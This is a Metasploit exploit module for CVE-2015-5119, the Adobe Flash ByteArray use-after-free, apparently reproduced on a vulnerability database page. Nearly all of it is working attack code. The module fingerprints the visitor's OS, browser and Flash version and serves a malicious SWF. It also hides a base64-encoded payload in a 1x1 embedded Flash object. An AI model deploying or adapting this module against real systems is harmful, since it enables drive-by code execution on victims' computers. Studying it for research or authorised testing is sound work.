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Adobe Flash Player ByteArray Use After Free
10
`##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player ByteArray Use After Free',
'Description' => %q{
This module exploits an use after free on Adobe Flash Player. The vulnerability,
discovered by Hacking Team and made public on its July 2015 data leak, was
described as an Use After Free while handling ByteArray objects. This module has
been tested successfully on:
Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194,
Windows 8.1 (32-bit), IE11 and Flash 17.0.0.169, and
Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Someone from HackingTeam
'juan vazquez', # msf module
'sinn3r' # msf module
],
'References' =>
[
['CVE', '2015-5119'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-03.html'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/unpatched-flash-player-flaws-more-pocs-found-in-hacking-team-leak/'],
['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win', 'linux'],
'Arch' => [ARCH_X86],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81 ||
os =~ OperatingSystems::Match::WINDOWS_VISTA ||
os =~ OperatingSystems::Match::WINDOWS_XP
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
when 'Linux'
return true if ua == Msf::HttpClients::FF
end
false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
# Note: Chrome might be vague about the version.
# Instead of 18.0.0.203, it just says 18.0
return true if Gem::Version.new(ver) <= Gem::Version.new('18.0.0.194')
when 'Linux'
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.468')
end
false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win'
}
],
[ 'Linux',
{
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jul 06 2015',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]
if target.name =~ /Windows/
platform_id = 'win'
elsif target.name =~ /Linux/
platform_id = 'linux'
end
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-5119', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
`
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08 Jul 2015 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.93205